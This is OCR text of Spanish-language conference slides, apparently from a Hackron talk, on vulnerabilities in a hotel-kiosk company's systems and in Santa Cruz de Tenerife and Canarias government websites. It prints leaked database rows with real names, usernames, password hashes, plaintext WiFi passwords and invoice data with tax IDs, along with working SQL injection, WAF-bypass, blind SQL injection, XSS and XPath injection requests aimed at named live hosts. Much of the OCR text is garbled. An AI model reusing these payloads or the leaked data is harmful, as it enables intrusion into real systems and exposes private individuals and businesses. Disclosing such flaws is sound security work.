21 nome apeico nome o apelico crasize e reaasaiaroe 2
1 adlo Casilo i et Tozioszs 5
W Comerc COMERCIALMURILLO 5 SEESHTEBSenaot g loorsorree %
139 JAIME DE LA CONCEPCION VEGA JAIME ?2?:1316%2(? Gl 2 53:1168-:1115?7%2078 569
152 juan beltran Juanito gg;g-?,;a:‘gbOc818ad06b7985 L fgjsijzzo%ozgz 509
77 rene Rodigo piatozas Tt Gernoaass o0
180 Irene Rodrigo irene ggfg;gSagfechOddec%ec 2 33:1062-;142;-_328798 569
P e s _— gf675a227e6(:)d0f60e62af85bbc782 5 ?:):13(:53-:122-23 e 29
182 Ana Ramirez Fernandez marketingpublicidad 160005998 5a17260214 00002 3 op e 29

daf20c18

11:34:21.322115

L,

s

kron



O credenciales de acceso remoto por VLC...

infotactile £ hoteles ~ EH usuarios_vic

id ‘ nombre | apellidos | usuario j contrasena | tipo | conexion _ oficina
o wasten e T
0 Usuarior Prueb pikin 22081 7cBbTGoZa4TORS 0o oot
85 AEROPUERTO aeropuerto aeropuerto ;g?gg;:b2d6c2b7221daa24 1 $2136202(;1052582 4 1
169 Oficina Infotactile infotactilevic ;?2258;7!? TRAITIRAERT ARG 0 321 4(::1424.?3;2638 2
170 Oficina Joaquin Sorolla joaquinsorolla 22:::::)83:21 SbuEsaSIdatn 0 3210%102925728702 3
171 Oficina Ayuntamiento ayuntamiento Lb?;:zggS?OfaSeBOee?fm 7 0 521061-1026227866 42 4
172 Oficina Valencia - Paz paz g’;;::fgg BEhBcead 110009 0 ‘321061.1326231683 5
174 Oficina Valencia - Playa playa g?gggfz?; #001800700a8c07 0 $(8)1(§31126227657O2 T
175 Oficina Valencia - Marina juancarlos 462ba9f5f198aa381d7978ad 0 20.1 6-.1 2-27 8

Real Juan Carlos | 8fb666eb 18:04:12.438201
176 Oficina Valencia - Puerto puerto glgglga4f5ﬁ91ea11f1d89b64 0 I A5l 9

1R:NARR 720278

L,

s
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Credenciales de acceso a la WiFi en texto plano...

infotactile [ hoteles B wifis
id | hotel | inicio fin texto ;creado
m 322 2015-05-25 2015-09-30 ::‘;:i:;:f'a‘"’ ylas especificaciones que: fgmigm
- - P PETIA ALDEA BAR RECEPCION FREE. PASWORD: 20150810
142 388 2015-06-23 2015-07-12 EXPOBCNS683 R B
146 153 2015-06-25 2017-05-31 CONTRASERA: 0906196000 b
147 137 2015-06-25 2016-06-25 Contrasefia: FREE O
152 277 2015-08-06 2016-03-30 Usuario: granhotel Contrasefa: 2020oviedo 2016-06:00
16:39:29.122044
153 296 2015-08-23 2015-12-31 CONTRASENA: Ibbsal2015 e e
o m mews  mens  QSUOTSGS - v soms
161 438 2015-10-09 2015-10-31 ORIENTE36093 SRR
162 308 2015-10-09 2015-10-31 DUNAS983759A i
o w0 mewe  mess e mene
167 123 2015-11-01 2016-04-30 WIFI GRATIS e s
170 512 2015-12:23 2016-12:31 P 62‘::;‘;:;“ Madsid b S
173 439 2016-01-12 2016-12:31 R e e = IR B Ie e
175 308 2016-01-14 2016-01-31 DUNASwifi e s
176 522 2016-01-14 2016-02-28 WIFI CLAVE123 e e ae
184 515 2016-02-01 2017-12:31 sl ol it W
186 206 2016-03-14 2016-12-31 CONTRASERNA: Ibbsal2015 o ot i
o w memn  mees  Qawesbmtewenw | mews
192 387 2016-03-18 2017-01-01 NETWORK: costaadeje PASSWORD: 7islas2014 fg:‘;g%‘_: _
PAQQWNRAN: N12°4RA7RAQ 2N1R.ND2




Y supuestamente una contabilidad “B” tan de moda actualmente... Epic fail !

infotactile | . . - g
infotactile ~ I infotactile  EEH facturas_falsas
SQL Teid ltipo lfacturador l‘ facturado lnombrefacturado ‘ciffacturado ldireccionfacturado jcpfacturado pobla
¥V public 3919 1 55 6.066 Restaurante Araba Izaga S.L. B01052000 Avenida de los Huetos, 17 01010 Vitori
3915 1 59 3.269 Xunca XestiA®n, s.Lu. B36568392 Lugar Domna, 45 36121 Sta
3.909 1 55 3.816 Larrabea Lounge bar S.L. B01517093 carretera de Landa s/n 01170 Leguti
adjuntos 3.910 1 55 252 Bodegas Torre de OAza A20156295 Finca San Martin s/n Paga... 01309 Lagu
3.911 1 67 4.608 Aquatherapia Spa B-37396488 Calle de San Justo, 10 37001 Sala
. La dehesa de Rodasviejas,
3.912 1 67 4,634 Dehesa de Rodasviejas 07847680-B AutovAa de Castilla (Salam... 37460 Aldeh
categorias 3.913 1 8 5.504 RESTAURANTE ADELITAS  B33995101 C/INFIESTO NA®17 BAJO 33207 GIJAI
3914 1 55 1.487 Rafael Pereira Nogueira Y0985370H CorrerAa, 10 01001 Vitori
3.926 1 59 4714 Dismaduba, .. B36531226 Puertode SanAddAinde 45, Vilab
Cobres, s/n
a ENRIQUE SAN JOSE CAMINO MUNDAIZ 10
| 3.923 1 16 4.539 AZKUE Y OTRO C.B. E20932075 LOCAL 20 20012 SAN
3.917 1 59 3.576 Pasillobar, s.l.u. B27760578 RUAREAL7 36202 VIGO
3.918 1 70 5971 Sofiestetic S.L B54692785 C/ Carlota PasarA®n, 34 03005 Alican
3.916 1 59 4.982 Santiago Bello Barcia 76906186m Plaza da Pedra, 4 36202 Vigo
hot
3.920 1 70 6.236 Wellness Fervi S.L B- 5343215 Plaza puerta del Mar, 3 03002 Alican|
3.921 1 70 5843 Area properties S.L gz"f; MosAGs Pedro Mena .., SanJ
3.922 1 70 5.844 Area Properties S.L Plaza del Puerto nA°3 03001 Alican/
pedidc LUIS MIGUEL FERNANDEZ
417 1 67 5.596 RODRIGUEZ 10069058A PLAZA POETA IGLESIAS, 12 37002 SALA
3927 1 59 4947 Danalka s | R3A741320 Plaza do America 1.co 36211 Vioo
New Row Rows 1-1000 of 5634 &>

tel
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Comunicacion responsable de vulnerabilidades. Intento publico ante la no contestacion al primer email...

Gy, [NN2ed] s4urOn
Peeo NN2ed_s4urOn

Algun responsable de seguridad informatica con
quien pueda hablar de @Infotactile_es ? Es para
comentaros una cosilla. DM. Gracias.

RETWEET ME GUSTA .
1 1 2

14:11 - 30 ene. 2017

@ Responder a @Infotactile_es

Placi @Placi__ - 30 ene.
@NN2ed_s4urOn cosilla=problemilla? &

V1

tackron



Comunicacion responsable de vulnerabilidades. Por privado ante la no contestacion al email publicado ni Twitter...

s4urOn B3 Enviado - s4urbn  19:15
Vulnerabilidad en vuestros sistemas con un riesgo muy alto e
Para: administracion@publipan.net - arante

Seguridad:a Firmado (s4urOn@s4ur0On.com)

®

1. Se ha encontrado un evento en este correo: 4 de febrero de 2017 afiadir...

Buenas tardes:
Queria comentaros que he visto vuestros paneles de informacion en un hotel este fin de semana y me parecen geniales, muy logrados y acertados, ademéas de ser muy comodos para el usuario.

Me dedico desde muchos anos a la seguridad informatica y he visto algunos fallos en vuestros sistemas que podrian presentar un riesgo y una exposicion de datos muy alta y me gustaria poder comentarlos con alguna persona de
vuestra empresa o responsable de desarrollo, ya que son principalmente de codigo.

Sin embargo, cuando busqué vuestra informacion en google, tras una pequefia bisqueda, se delata que existen varias vulnerabilidades en vuestro cédigo y en la BB.DD que potencialmente podrian exponer incluso el contendio
completo de todas vuestras BB.DD. sin mayor problema y sus contenidos. Hay algunas referencias como simplemente buscando en google "error site:infotactile.com” que ya revelan informacion sensible de vuestras conexiones e
incluso la cadena de consulta empleada para recuperar los datos.

Principalmente, hay SQL Injection (https://www.owasp.org/index.php/Top_10_2013-A1-Injection) que permiten revelar el nombre del usuario y BBDD que emplea vuestro sistema, por lo que una simple conexion al servidor sin mas,
entraria en todo vuestro sistema ya que no se encuentra identificado por ningin tipo de password y esta expuesto pablicamente en Internet sin mayor proteccion.

El dominio afectado por las vulnerabilidades es en “infotactile.com” que referencia a 37.187.153.126 y se encuentra listado también en shodan (buscador de servicios) con el puerto 5432 expuesto plblicamente en Internet
(https://www.shodan.io/host/37.187,153.126).

Un usuario malicioso, simplemente conociendo la informacion del usuario con el que se conecta a vuestra BBDD y el nombre de la BBDD (ambos datos salen en simples consultas) al no tener autenticacion ninguna, podria entrar sin
mas y tener acceso a todo, incluso para poder borrar/modificar/afiadir datos que supongo que seran sensibles e incluso pueden afectar a clientes vuestros que podrian incluso denunciar que sus datos no han sido tratados conforme
al Reglamento de Proteccién de Datos.

Entendiendo que nuestra responsabilidad moral debe ser comunicaros responsablemente las vulnerabilidades que a veces vemos, quedo a vuestra disposicion para cualquier cosa que querais comentar y/o poderos ayudar a
solucionar estas vulnerabilidades lo méas rapido posible. Para evitar malentendidos, comentaros que esto lo hago de forma completamente altruista, ya que me parece logico avisaros que un ciberdelincuente podria aprovecharse de
la informacion que contenga o perjudicar gravemente a vuestra empresa.

Muchas gracias por vuestra atencion.

i
Un saludo, I

Pedro C. aka s4urOn

GPG 0x42386475 | s4urOn
http://s4urOn.com
@NN2ed_s4urOn

Sackron
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Gobierno de Canarias

& C  ® www.gobiernodecanarias.org/otros/showenlaces.jsp?subcategoria=19%270

Estado HTTP 500 - Ha sucedido una excepcion al procesar la

O Informe de Excepcion
T Ha sucedido una excepcién al procesar la péqina JSP /showenlaces.isp en linea 14
El servidor encontré un error interno que hizo que no pudiera rellenar este requerimiento.

org.apache. jasper.JasperException: Ha sucedido una excepcién al procesar la pdgina JSP /showenlaces.jsp en linea 14

11: categoria = ou.getValue("select categoria from subcategorias where codigo=" + subcategoria);

12: descripcionsub = ou.getValue("select descripcion from subcategorias where codigo= " + subcategoria);
13: descripcion = ou.getValue("select descripcion from categorias where codigo = " + categoria);

14: int cat = Integer.parselnt(categoria);

15: switch(cat)

16: {

17: case 20:

Stacktrace:
org.apache.jasper.servlet.JspServletWrapper.handleJspException(JspServletWrapper.java:521)
org.apache. jasper.servlet.JspServlietWrapper.service(JspServletWrapper.java:430)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:313)
org.apache. jasper.servlet.JspServlet.service(JspServlet.java:260)
javax.servlet.http.HttpServlet.service(HttpServlet.java:723)

java.lang.NumberFormatException: null
java.lang.Integer.parselnt(Integer.java:417)
java.lang.Integer.parselnt(Integer.java:499)
org.apache. jsp.showenlaces_jsp._jspService(showenlaces_jsp.java:75)
org.apache. jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
javax.servlet.http.HttpServlet.service(HttpServlet.java:723)
org.apache. jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:388)
org.apache. jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:313)
org.apache. jasper.servlet.JspServlet.service(JspServlet.java:260)
javax.servlet.http.HttpServlet.service(HttpServlet.java:723)

7= La traza completa de la causa de este error se encuentra en los archivos de diario de Gobierno de Canarias.

obierno de Canarias




Gobierno de Canarias

%20union%20select%201

< C [G) www.gobiernodecanarias.org/otros/showenlaces.jsp?subcategoria=19(

am
%y Gobierno
de Cana.:ias

un solo puebl

Politica de Seguridad del Gobierno de Canarias

Se ha bloqueado el acceso a esta pagina Web por incumplir las politicas de seguridad del Gobierno de Canarias.
'Por favor, si cree que se trata de un error, genere una incidencia con Cibercentro a través del siguiente enlace, indicando los datos que se muestran a continuacion:

SIRVETE
ID Evento: 41920951338588024

IFuente: WAF

I\_/olver a la pagina anterior




Gobierno de Canarias

= C  ® www.gobiernodecanarias.org/otros/showenlaces.jsp?subcategoria=190%40un/**/ion}20select%201

en linea 14

37 Informe de Excepcion

Ha sucedido una excepcién al procesar la pgina JSP /showenlaces.isp en linea 14

categoria = ou.getValue("select categoria from subcategorias where codigo=" + subcategoria);
" + subcategoria);
+ categoria);

descripcionsub = ou.getValue("select descripcion from subcategorias where codigo=

descripcion = ou.getValue("select descripcion from categorias where codigo =
int cat = Integer.parselnt(categoria);
switch(cat)

Stacktrace:
org.apache. jasper.servlet.JspServletWrapper.handleJspException(JspServletWrapper.java:521)
org.apache. jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:430)
org.apache. jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:313)
org.apache. jasper.servlet.JspServlet.service(JspServlet.java:260)
javax.servlet.http.HttpServlet.service(HttpServlet.java:723)

causa rai

java.lang.NumberFormatException: null
java.lang.Integer.parselnt(Integer.java:417)
java.lang.Integer.parselnt(Integer.java:499)
org.apache. jsp.showenlaces_jsp._jspService(showenlaces_jsp.java:75)
org.apache. jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
javax.servlet.http.HttpServlet.service(HttpServlet.java:723)
org.apache. jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:388)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:313)
org.apache. jasper.servlet.JspServlet.service(JspServlet.java:260)
javax.servlet.http.HttpServlet.service(HttpServlet.java:723)

[ La traza completa de la causa de este error se encuentra en los archivos de diario de Gobierno de Canarias.

obierno de Canarias




desmotivaciones.es

Cuando las arbas

de tu vecino veas pelar, pon las tuyas a remojar




DIRLEIGTA

Pt IR0 OF munu.u

Cackron




Ayuntamiento de Santa Cruz de Tenerife [FilS (i€ [LISIEISIL

Faltan las cabeceras de seguridad en las respuestas del servidor que son
recomendadas para prevenir ataques de clickjacking en la web:

X-Frame-Options
Cookies directamente accesibles por medio de javascript y que se podrian quitar
simplemente indicando (cuidado con el método TRACE en servidores):

HTTPOnly

Cookies sin establecer el flag Secure debido a que |la web no soporta capa de
cifrado en comunicaciones: datos transmitidos con el texto en claro interceptables.

Cackron



Ayuntamiento de Santa Cruz de Tenerife [FilS (i€ [LISIEISIL

Revelacion de informacion sobre el servidor, tecnologias, etc.:

e OPTIONS habilitado

e Version ASP.NET: 2.0.50727.5491

e Microsoft .NET Framework: 2.0.50727.5485
e Microsoft IIS 7.5

e Windows

Cackron




Ayuntamiento de Santa Cruz de Tenerife [FE3(1€ [LISIVISTL

Posibilidad de automatizacion de ataques (CWE-799: Improper Control of
Interaction Frequency) https://cwe.mitre.org/data/definitions/799.html :

e Todos los formularios del sitio

THC-Hydra

Cackron




Ayuntamiento de Santa Cruz de Tenerife [} [LISIVITEIN

Vulnerable a ataques Slow HTTP DoS (Denial of Service)

La pagina hkportal.santacruzdetenerife.es no funciona

hkportal.santacruzdetenerife.ep ha tardado demasiado tiempo en responder.

HTTP ERROR 504

Cackron



Ayuntamiento de Santa Cruz de Tenerife [FilS (i€ [LISIEISIL

Revelacion de la tecnologia empleada:

= C @ hkportal.santacruzdetenerife.es:8080

Resin® Default Home Page

This is the default page for the Resin web server.
Documentation is available here.

Administration is available here.

Cackron
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Identificacion de la version del servidor empleado:

RIS K{LIE

Ayuntamiento de Santa Cruz de Tenerife

— C' @ hkportal.santacruzdetenerife.es:8080/resin-admin

404 Not Found

/resin-admin was not found on this server.

Resin/3.1.9

Cackron



Ayuntamiento de Santa Cruz de Tenerife [1ES[1€ [LISIVISTL

Sin filtros de autocompletar... en los formularios ():

* <INPUT TYPE="password" AUTOCOMPLETE="off">

Cackron



Ayuntamiento de Santa Cruz de Tenerife [} [LISIVITEIN
Version de servidor 3.1.9 vulnerable a multiples ataques:

Caucho » Resin » 3.1.9 : Security Vulnerabilities

Cpe Name:cpe:/a:caucho:resin:3.1.9

CVSS Scores GreaterThan: 0 1 2 3 4 5 6 7 8 9

Sort Results By : CVE Number Descending CVE Number Ascending CVSS Score Descending Number Of Exploits Descending
Copy Results Download Results

# CVEID CWE ID # of Exploits Vulnerability Type(s) Publish Date Update Date Score Gained Access Level Access Complexity Authentication Conf. Integ. Avail.

1 CVE-2012-2969 264 Bypass 2012-08-12 2012-09-04 6.4 None Remote Low Not required None Partial Partial
Caucho Quercus, as distributed in Resin before 4.0.29, allows remote attackers to bypass intended restrictions on filename extensions for created files via a %00 sequence in a pathname within an HTTP request.

2 CVE-2012-2968 22 Dir. Trav. 2012-08-12 2012-09-04 5.0 None Remote Low Not required None Partial None

Directory traversal vulnerability in Caucho Quercus, as distributed in Resin before 4.0.29, allows remote attackers to create files in arbitrary directories via a .. (dot dot) in a pathname within an HTTP request.

3 CVE-2012-2967 2012-08-12 2012-09-04 None Remote Low Not required Partial Partial Partial

Caucho Quercus, as distributed in Resin before 4.0.29, does not properly implement the == (equals sign equals sign) operator for comparisons, which has unspecified impact and context-dependent attack vectors.

4 CVE-2012-2966 2012-08-12 2012-09-04 None Remote Low Not required Partial Partial Partial
Caucho Quercus, as distributed in Resin before 4.0.29, overwrites entries in the SERVER superglobal array on the basis of POST parameters, which has unspecified impact and remote attack vectors.
5 CVE-2012-2965 20 2012-08-12 2012-09-04 None Remote Low Not required Partial Partial Partial

Caucho Quercus, as distributed in Resin before 4.0.29, does not properly handle unspecified characters in the names of variables, which has unknown impact and remote attack vectors, related to an "HTTP Parameter
Contamination" issue.

Total number of vulnerabilities : 5 Page : 1 (This Page)

A,

=




Ayuntamiento de Santa Cruz de Tenerife [31ESi(€ LTSNS

Incluso en http://www.bopsantacruzdetenerife.org/ con NGIX 1.4.6 (CVE-2014-0133):

NGINX HASTA 1.5.9 SPDY SPDY REQUEST HEAP-BASED
DESBORDAMIENTO DE BUFER

CVSSv3 Temp Score Exploit Precio Actual (=)

$0-$5k

Una vulnerabilidad ha sido encontrada en nginx y clasificada como critica. Una funcion desconocida del componente SPDY Handler es afectada por esta
vulnerabilidad. A través de la manipulacion como parte de SPDY Request se causa una vulnerabilidad de clase desbordamiento de bufer. Esto tiene
repercusion sobre la confidencialidad, integridad y disponibilidad.

La vulnerabilidad fue publicada el 2014-03-18 por Lucas Molas con identificacién [nginx-announce] nginx security advisory (CVE-2014-0133) con un posting
(Mailinglist) (confirmado). El advisory puede ser descargado de mailman.nginx.org -. La publicacién ha sido realizada en coordinacion y con la colaboracién
del fabricante. La vulnerabilidad es identificada como CVE-2014-0133 .. Es facil de explotar. El ataque puede ser realizado a través de la red. La explotacion
no requiere ninguna forma de autentificacion. No se conoce los detalles técnicos ni hay ningun exploit disponible.

Esta vulnerabilidad ha sido clasificada como un exploit dia cero por lo menos por 357 dias. Para el scanner Nessus se dispone de un plugin ID 73519
(nginx < 1.4.7 / 1.5.12 SPDY Heap Buffer Overflow), que puede ayudar a determinar la existencia del riesgo analizado.

Una actualizacion a la version 1.4.7 o 1.5.12 elimina esta vulnerabilidad. Aplicando un parche es posible eliminar el problema. El parche puede ser
descargado de nginx.org -. El mejor modo sugerido para mitigar el problema es actualizar a la ultima version. Una solucién posible ha sido publicada

inmediatamente después de la publicacion de la vulnerabilidad.

La vulnerabilidad también esta documentado en las bases de datos X-Force (92301 -), SecurityTracker (ID 1030151 -) y Vulnerability Center (SBV-43806 -).



Ayuntamiento de Santa Cruz de Tenerife [FiE€ [LISIVISIL

Incluso en http://www.bopsantacruzdetenerife.org/ con NGIX 1.4.6 (CVE-2014-0133):

5 C | @ Esseguro | https://vuldb.com/es/?id.1282 ¥

HOME RECIENTE ARCHIVO ESTADISTICA EXTRAS BUSCAR LOGIN

La vulnerabilidad también esta documentado en las bases de datos X-Force (92301 ), SecurityTracker (ID 1030151 ) y Vulnerability Center (SBV-43806 -).

CVSSv3 e

Base Score: 7.3

Temp Score: 6.4

Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:U/RL:O/RC:C
Confiabilidad: Bajo

CVSSv2 e

Base Score: 7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/1:P/A:P)
Temp Score: 5.5 (CVSS2#E:U/RL:0F/RC:C)
Confiabilidad: Alto

Vector Complexity Authentication Confidentiality Integrity Availability
Local High Multiple None None None
Adjacent Medium Single

Network Low None Complete Complete Complete . .

Cackron




Ayuntamiento de Santa Cruz de Tenerife [FilS (i€ [LISIEISIL

En el portal https://ayuntamientovirtual.santacruzdetenerife.es/ se encuentran
varios fallos en la capa de transporte con componentes criptograficos:

* SSL v2.0
* Empleo del algoritmo RC4
* SSL v3.0 vulnerable a ataques con POODLE

Cackron




Ayuntamiento de Santa Cruz de Tenerife [FilS €[
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Mensajes y errores por defecto en el sitio web:

< C' @ Esseguro https://ayuntamientovirtual.santacruzdetenerife.es/eParticipa/utils/docs/

Error del servidor

403 - Prohibido: acceso denegado.

No tiene permiso para ver este directorio o esta pagina con las credenciales que ha proporcionado.

tackron



Ayuntamiento de Santa Cruz de Tenerife [FiE€ [LISIVISIL

Mensajes y errores por defecto en el sitio web:

& > C ©® www.santacruzdetenerife.es/distritos/distrito-anaga/el-tagoror/convocatorias/convocatorias-2007

».TYPO3 logo

Page Not Found

Reason: Segment "convocatorias-2007" was not a keyword for a postVarSet as expected on page with id=2550.
TYPO3 is an open source content system. To the quality of the system and to improve it, please help us by donating. TYPO3 CMS. Copyright © 1998-2015 Kasper Skirhgj. Extensions are copyright of their respective owners. Go to http:/typo3.org/ for details. TYPO3
comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under certain conditions. Obstructing the appearance of this notice is prohibited by law.
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Santa Cruz de Tenerife Transparencia Open Data Gestiones y tramites

RISK{Y

Inicio Santa Cruz Gobiemo Ciudad Transparencia Servicios municipales Distritos
. ——

3 '3

Estas en Inicio Distritos Distrito Anaga El Tagoror Convocatorias 2008
Distrito Anaga »  Convocatorias 2008
= El distrito
= Sus barrios » Convocatoria 27 de noviembre de 2008
« El Tagoror » Convocatoria 25 de septiembre de 2008

solicas de Andga » Convocatoria 26 de junio de 2008

» Convocatoria 23 de abril de 2008

Distrito Centro Ifara »
» Volver
Distrito Salud La Salle »
Distrito Ofra Costa Sur . .
» Convocatoria 27 de noviembre de 2008
Distrito Suroeste » En Santa Cruz de Tenerife, a 27 de noviembre de 2008

12 Convocatoria: 19.00 horas
2* Convocatoria: 48 horas después de la fecha sefalada.

Lugar: Edificio Infobox, Avd. Pedro Schuwartz s/n

Orden del dia

83 W
- *' .

lunes, 6 de febrero de 2017

TemplaVoila
ERROR:

Couldn't find a
Data Structure set
for table/row
"tt_content:6613".
Please select a
Data Structure
and Template
Object first.

. 75 03 (D) 00 038 13 (D [ B (D

Teléfonos « Tréfico * Eltiempo ¢ Otras Web
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Revelacion de informacion interna sobre |a estructura de directorios empleada:

< C'  ® ayuntamientovirtual.santacruzdetenerife.es/webadmin/

Error de servidor en la aplicacion '/'.

Error de configuracion

Descripcion: Error durante el procesamiento de un archivo de configuracién requerido para dar servicio a esta solicitud. Revise los

Mensaje de error del analizador: Es incorrecto utilizar una seccién registrada como allowDefinition='"MachineToApplication' ma

Error de cédigo fuente:

Error de aplicacidén en el servidor. La configuracion actual de errores persor

Archivo de origen: C:\WebSite\TAO\webadmin\web.config Linea: 117

Mostrar errores de configuracion adicionales:

Informacion de versioén: Version de Microsoft NET Framework:2.0.50727.5485; Versién ASP.NET:2.0.50727.5491 . .
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Revelacidon de objetos internos de la aplicacion sin necesidad de autenticacion y/o
establecimiento de sesion:

— C' @ hkportal.santacruzdetenerife.es:8080/portal/portal.ini

jndi-name=gxpower des
#gxpower exp Base de datos de Explotacion BBDD
#gxpower des Base de datos de Desarrollo

Cackron
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Santa Cruz de Tenerife

AYUNTAMIENTO
Texto a buscar P

Sede Electronica
.
XSS:
m Tramites Municipales Edictos Normativas Impresos Empleo Publico Subvenciones Perfil de Contratante

Tramites
Municipales

Deportes
Cultura

Medicambiente y Sanidad
Via pablica, terrazas
Urbanismo

Tagoror

Inicio > Trimites Municipales

Tramites Municipales

¢Qué tramite busca?
una palabra con el trdmite a realizar

Palabea a buscar:

Se necesitan cracks para
hackear (auditar gratis) este
Ayuntamiento

Todas las paginas de los trémites munici de este Ay i
tienen este XSS (Cross-Site Scripting) que permite hacer defaces entre
otras muchas cosas y poner lo que en ellas, pero

cracks que quieran el premio que dan en Hackron aunque nos
conformamos con unas cervezas,

Viva el hacking for food!

Ver la lista completa
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XSS:

< C | ® hkportal.santacruzdetenerife.es:8080/resin-doc/examples/jsf-webbeans/test.jsf

e j_id_1:j_id_2: "" must be an integer number.

Add

tackron
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XSS:

< C | ® hkportal.santacruzdetenerife.es:8080/resin-doc/examples/jms-php-queue-send/view-log
° TTax: 1 AV EHE N\ Neanlant sanr alaawr/D).
* & X [(D hkportal.santacruzdetenerife.es:8080/resin-doc/examples/jms-
[ J
[ J
L ]
L ]
& hkportal.santacruzdetenerife.es:8080 dice:
* /Reto HackrOn XSS conseguido/
* . ARRRN
. | Evita que esta pagina cree cuadros de didlogo adicionales.
L ]
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XSS:

6 i) hkportal.santacruzdetenerife.e 2013/05/CC_1992363_una_mujer_deasparec

0 de la documentacion sin configurar... ;)

A3 jTocado y hundido!

Porque jugar a los barquitos puede ser peligroso

Cackron
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o B

Blind SQL Injection:

POST /portal/iportal HTTP/1l.1

Content-Length: 112

Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

Referer: http://hkportal.santacruzdetenerife.es:8080/portal/
Host: hkportal.santacruzdetenerife.es:8080

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0
Safari/537.21

Accept: */*

firmaDigital=&jndi=&pag=psw&pas=l&prc=ini&usr=-

1'%200R%203*2*1%3d6%20AND%20000953%3d000953%200r%20 ' vnPnZbMB' $3d '. .

Cackron
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Blind SQL Injection:

[17:35:55] [WARNING] turning off pre-connect mechanism because of connection time out(s)
[17:36:25] [INFO] POST parameter 'usr' appears to be 'Oracle AND time-based blind (heavy query)' injectable

Cackron
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XPath Injection (MS.Internal.Xml):

GET /eparticipa/products/carpeta/public/help/help.aspx?Module='%22 HTTP/1.1
Cookie: ASP.NET_Sessionld=tjtsfs553keOvg45vzgjabrx;
JSESSIONID=116B6CF43885C483A3E9970A01CE9S029; MenuGroupl=true;
MenuGroup5=true

Host: ayuntamientovirtual.santacruzdetenerife.es

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML,
like Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*

Cackron
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(- () @ | https:/jayur ientovirtual. i eParticipa/Products/Carpeta/Public/Help/help.aspx?Module="" (< Q Buscar

Mensaje del sistema
Lo sentimos, en este momento no es posible realizar su peticién.

Inicio Atrés

Se produjo una p de tipo 'Sy Web. Http dledEx ion'.

Tipo excepcién System.Web.HttpUnhandledException

Ensamblado System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
Cédigo HTTP 500

Stack trace
en System.Web.Ul.Page.HandleError(Exception e)
en System.Web.UI.Page. ProcessRequestMam( | includ: foreAsyncPoint, Boolean includ AsyncPoint)
en System.Web.UI.Page.Proc lud g foreAsyncPoint, | includesS! fterAsyncPoint)

en System.Web.UI.Page. ProcessRequest()

en System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext context)

en System.Web.UI.Page.Proc q (HttpContext )

en ASP.products_carpeta_public_help_help_aspx.ProcessRequest(HttpContext context) en c:\Windows\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET Files\eparticipa\faad49da\92942804\App_Web_v-z8ynib.1.cs:linea 0
en System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()

en System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)

Error de pilacién XSLT.

Tipo excepcién System.Xml.Xsl.XsltCompileException
Ensamblado System.Data.SqlXml, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5¢561934e089

Stack trace
en System.Xml.Xsl.XsItOld.Compiler.Compile(NavigatorInput input, XmiIResolver xmIResolver, Evidence evidence)
en System.Xml.Xsl.XsITransform.Compile(XPathNavigator sty Iver, Evidence evidence)
en System.Xml.Xsl.XsITransform.Load(XP: ig sty XmiResolver resolver)

en System.Xml.Xsl.XsITransform.Load(IXPathNavigable stylesheet, XmIResolver resolver)
en System.Xml.Xsl.XsITransform.Load(XmIReader stylesheet)

en ASP.products_carpeta_public_help_help_aspx.__Render__control1(HtmITextWriter __w, Control parameterContainer) en c:\WebSite\TAO\eParticipa\Products\Carpeta\Public\Help\help.aspx:linea 29
en System.Web.UI Control.RenderChildreninternal(HtmiTextWriter writer, ICollection children)

en System.Web. UL Control.RenderChildren(HtmITextWriter writer)

en System.Web.UI.Page.Render(HtmITextWriter writer)

en Tao.Buronet.Core.Web.UI.SPageBuronet.Render(HtmITextWriter output)

en System.Web.UI. Control.RenderControlInternal(HtmITextWriter writer, ControlAdapter adapter)
en System.Web. UL Control.RenderControl(HtmITextWriter writer, ControlAdapter adapter)

en System.Web.UI.Control.RenderControl(HtmITextWriter writer)

en System.Web.UI.Page.Proc Main(Bool includ eAsyncPoint, Boolean incl

g AsyncPoint)

Mensaje 'boolean(/CONTROLHELPS/HELP[@id=""]/TITLE[@lang='3"])' es una expresién XPath no vilida.
Tipo excepcién System.Xml.Xsl.XsltException
Ensamblado System.Data.SqlXml, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
Stack trace
en System.Xml.Xsl.XsltOld.Compiler.AddQuery(String xpathQuery, Boolean allowVar, Boolean allowKey, Boolean isPattern)
en System.Xml.Xsl.XsitOld.Compiler.AddBooleanQuery(String xpathQuery)
en System.Xml.Xsl.XsitOld.IfAction.CompileAttribute(Compiler compiler) L— I S——
en System.Xml.Xsl.XsitOld.CompiledAction.CompileAttributes(Compiler compiler) ™ 11 L ﬂl'l
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en MS.lnternal.Xmi.XPath.QueryBullder.Bulld(String query, Boolean allowvar, Boolean allowKey)
en System.Xml.Xsl.XsltOld.Compiler.AddQuery(String xpathQuery, Boolean allowVar, Boolean allowKey, Boolean isPattern)

Request

Timestamp: 13-02-2017 18:32:24

ExecutionTime: 00:00:00

Url: https://ayuntamientovirtual.santacruzdetenerife.es/eParticipa/Products/Carpeta/Public/Help/help.aspx?Module='%26amp%3bquot%3b
HttpMethod: GET

User

User:
IsAuthenticated: False
Session
